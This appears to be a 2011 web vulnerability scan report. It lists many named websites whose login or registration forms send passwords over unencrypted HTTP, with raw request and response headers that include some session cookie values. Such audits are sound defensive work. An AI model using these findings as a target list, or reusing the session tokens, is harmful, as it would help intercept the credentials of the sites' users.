GET /naujienos.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:49 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13215
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.lithuanianjoomla.com/saugi-joomla.html
The form contains the following password field:
password
Request
GET /saugi-joomla.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:05 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 14353
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.lithuanianjoomla.com/saugi-joomla.html
The form contains the following password field:
password
Request
GET /saugi-joomla/75-kas-yra-saugus-patikimas-pilnas-joomla-turinio-valdymo-sistemos-paketas.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:14 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 15747
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.livejournal.com/update.bml
The form contains the following password field:
password
Request
GET /update.bml HTTP/1.1 Host: www.livejournal.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 04:43:03 GMT Server: Apache/2.2.3 (CentOS) X-AWS-Id: ws33 Set-Cookie: ljuniq=qSLA0OACBpHpEQx:1295930583:pgstats0:m0; expires=Saturday, 26-Mar-2011 04:43:03 GMT; domain=.livejournal.com; path=/ X-XSS-Protection: 0 Cache-Control: private, proxy-revalidate ETag: "0d1717ff7e20cf2aa2b1705c6fb92344" Content-length: 48142 Connection: close Content-Type: text/html; charset=utf-8 Content-Language: en
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.netlingo.com/login-action.php
The form contains the following password field:
password
Request
GET /login.php HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:02 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=p2kggg0b9m3bnq9c57hhsvlcl0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 33956
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.netlingo.com/register-premium.php
The form contains the following password fields:
password
password2
Request
GET /register-premium.php HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:00:27 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 56600
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.netlingo.com/register.php
The form contains the following password fields:
password
password2
Request
GET /register.php HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:05 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=sb796kqmjk5b811eau65ljq195; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 46577
GET /news/2010/100710-ebay-deploys-joomla-for-analytics.html HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) Cneonction: close Content-Type: text/html; charset=UTF-8 Cache-Control: private, max-age=300 Date: Tue, 25 Jan 2011 05:03:51 GMT Connection: close Connection: Transfer-Encoding Content-Length: 120158
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.noreastermagazine.com/index.php
The form contains the following password field:
passwd
Request
GET / HTTP/1.1 Host: www.noreastermagazine.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:08:30 GMT Server: Apache X-Powered-By: PHP/5.2.10 Set-Cookie: 7f17775ebaca27b049989f22de967fcd=8770a74d6eac2afa63076869bfca0779; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 00:08:30 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 5572 Connection: close Content-Type: text/html; charset=utf-8
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.paperg.com/
The form contains the following password field:
pass
Request
GET / HTTP/1.1 Host: www.paperg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=1a2a1fi9q2vop26mnuph8otr37;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:04:37 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny6 Vary: Accept-Encoding Content-Type: text/html Connection: close Via: 1.1 AN-0016020122637050 Content-Length: 10755
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.playshakespeare.com/index.php
The form contains the following password field:
passwd
Request
GET / HTTP/1.1 Host: www.playshakespeare.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:11 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: eab80364d83027bfc601e73262603d25=341187f485832c9a1355235ffc880801; path=/ Last-Modified: Mon, 24 Jan 2011 15:15:14 GMT Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 180908
GET / HTTP/1.1 Host: www.regattaregatta.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:28:38 GMT Server: Microsoft-IIS/6.0 Set-Cookie: 9d1da0e50aa9b6d723bb7d2254c4deb6=e77aa027edf65e1c9fc004520497c394; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: currentURI=http%3A%2F%2Fwww.regattaregatta.com%2Findex.php; expires=Wed, 26-Jan-2011 02:28:38 GMT; path=/ X-Powered-By: PleskWin X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 02:28:38 GMT Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.rockettheme.com/index.php
The form contains the following password field:
passwd
Request
GET / HTTP/1.1 Host: www.rockettheme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:01:10 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: cd6974ce18b02e32626c9ea04659f148=eec83c2a8abb5457a4ec33e10c194c24; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 16:01:10 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 44216
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.shape.com/kickapps/public/ajax-login
The form contains the following password field:
password
Request
GET /workouts/articles/blood_sugar.html HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Tue, 25 Jan 2011 02:28:50 GMT Server: Apache Cache-Control: max-age=900 Location: http://www.shape.com/workouts/articles/blood-sugar.html X-Server-Name: (null) ETag: "1295922530" Last-Modified: Tue, 25 Jan 2011 02:28:50 +0000 X-Powered-By: PHP/5.2.13 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Tue, 25 Jan 2011 02:43:49 GMT Content-Type: text/html; charset=utf-8 Age: 0 Via: 1.1 mdw107101 (MII-APC/1.6) Connection: close Content-Length: 27234
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.shape.com/kickapps/public/ajax-login
The form contains the following password field:
password
Request
GET /workouts/articles/workout_schedule.html HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Tue, 25 Jan 2011 02:28:49 GMT Server: Apache Cache-Control: max-age=900 Location: http://www.shape.com/workouts/articles/workout-schedule.html X-Server-Name: (null) ETag: "1295922529" Last-Modified: Tue, 25 Jan 2011 02:28:49 +0000 X-Powered-By: PHP/5.2.13 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Tue, 25 Jan 2011 02:43:49 GMT Content-Type: text/html; charset=utf-8 Age: 0 Via: 1.1 mdw107101 (MII-APC/1.6) Connection: close Content-Length: 27239
GET /index.php HTTP/1.1 Host: www.svenskjoomla.se Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.thefeast.com/i/dispatcher/?h=feastuser
The form contains the following password field:
loginPassword
Request
GET /boston/ HTTP/1.1 Host: www.thefeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 24 Jan 2011 23:22:48 GMT X-Server-Name: sj-c14-r8-u31-b7 Content-Type: text/html;charset=utf-8 Expires: Tue, 25 Jan 2011 00:09:31 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 00:09:31 GMT Connection: close Connection: Transfer-Encoding Content-Length: 280280
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.thefeast.com/i/dispatcher/?h=feastuser
The form contains the following password field:
regPassword
Request
GET /boston/ HTTP/1.1 Host: www.thefeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 24 Jan 2011 23:22:48 GMT X-Server-Name: sj-c14-r8-u31-b7 Content-Type: text/html;charset=utf-8 Expires: Tue, 25 Jan 2011 00:09:31 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 00:09:31 GMT Connection: close Connection: Transfer-Encoding Content-Length: 280280
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.thefeast.com/i/dispatcher/?h=feastuser
The form contains the following password field:
loginPassword
Request
GET /boston/Better-Yourself-Get-Smart-with-Our-Cheap-Picks-114487719.html HTTP/1.1 Host: www.thefeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 24 Jan 2011 23:24:38 GMT X-Server-Name: sj-c14-r2-u21 Content-Type: text/html;charset=utf-8 Expires: Tue, 25 Jan 2011 00:09:32 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 00:09:32 GMT Connection: close Connection: Transfer-Encoding Content-Length: 255575
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.thefeast.com/i/dispatcher/?h=feastuser
The form contains the following password field:
regPassword
Request
GET /boston/Better-Yourself-Get-Smart-with-Our-Cheap-Picks-114487719.html HTTP/1.1 Host: www.thefeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 24 Jan 2011 23:24:38 GMT X-Server-Name: sj-c14-r2-u21 Content-Type: text/html;charset=utf-8 Expires: Tue, 25 Jan 2011 00:09:32 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 00:09:32 GMT Connection: close Connection: Transfer-Encoding Content-Length: 255575
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.thefeast.com/i/dispatcher/?h=feastuser
The form contains the following password field:
regPassword
Request
GET /boston/Trailer-Park-Boys-Bring-Trash-Talk-at-The-Wilbur-114477904.html HTTP/1.1 Host: www.thefeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 24 Jan 2011 23:24:38 GMT X-Server-Name: dv-c1-r2-u24-b14 Content-Type: text/html;charset=utf-8 Expires: Tue, 25 Jan 2011 00:09:42 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 00:09:42 GMT Connection: close Connection: Transfer-Encoding Content-Length: 255776
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.thefeast.com/i/dispatcher/?h=feastuser
The form contains the following password field:
loginPassword
Request
GET /boston/Trailer-Park-Boys-Bring-Trash-Talk-at-The-Wilbur-114477904.html HTTP/1.1 Host: www.thefeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 24 Jan 2011 23:24:38 GMT X-Server-Name: dv-c1-r2-u24-b14 Content-Type: text/html;charset=utf-8 Expires: Tue, 25 Jan 2011 00:09:42 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 00:09:42 GMT Connection: close Connection: Transfer-Encoding Content-Length: 255776
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.thefeast.com/i/dispatcher/?h=feastuser
The form contains the following password field:
loginPassword
Request
GET /boston/shopping/FEAST-SHOP-BOS-A-Puffer-Never-Looked-So-Cute-114479944.html HTTP/1.1 Host: www.thefeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 24 Jan 2011 23:24:38 GMT X-Server-Name: sj-c14-r8-u31-b7 Content-Type: text/html;charset=utf-8 Expires: Tue, 25 Jan 2011 00:09:35 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 00:09:35 GMT Connection: close Connection: Transfer-Encoding Content-Length: 282213
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.thefeast.com/i/dispatcher/?h=feastuser
The form contains the following password field:
regPassword
Request
GET /boston/shopping/FEAST-SHOP-BOS-A-Puffer-Never-Looked-So-Cute-114479944.html HTTP/1.1 Host: www.thefeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 24 Jan 2011 23:24:38 GMT X-Server-Name: sj-c14-r8-u31-b7 Content-Type: text/html;charset=utf-8 Expires: Tue, 25 Jan 2011 00:09:35 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 00:09:35 GMT Connection: close Connection: Transfer-Encoding Content-Length: 282213
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /velux_5_oceans_2010_race/ HTTP/1.1 Host: www.w-w-i.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.woothemes.com/wp-login.php
The form contains the following password field:
pwd
Request
GET / HTTP/1.1 Host: www.woothemes.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:11:04 GMT Server: LiteSpeed Connection: close X-Powered-By: PHP/5.3.2 Last-Modified: Tue, 25 Jan 2011 00:10:45 GMT Vary: Cookie X-Pingback: http://www.woothemes.com/xmlrpc.php Content-Type: text/html; charset=UTF-8 Content-Length: 25957
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET / HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:20:28 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:30:39 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 64487
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-archive-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:54 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22archive%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22archive%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93426
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-assembling-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:36 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:48:47 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22assembling%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22assembling%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 72783
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-atom-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:50:19 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:20 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22atom%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22atom%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89319
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-audio-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:34 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22audio%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22audio%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 96673
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-automatic-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:40:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22automatic%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22automatic%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90216
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-autoposter-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:36:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:47:05 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22autoposter%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22autoposter%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 36293
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
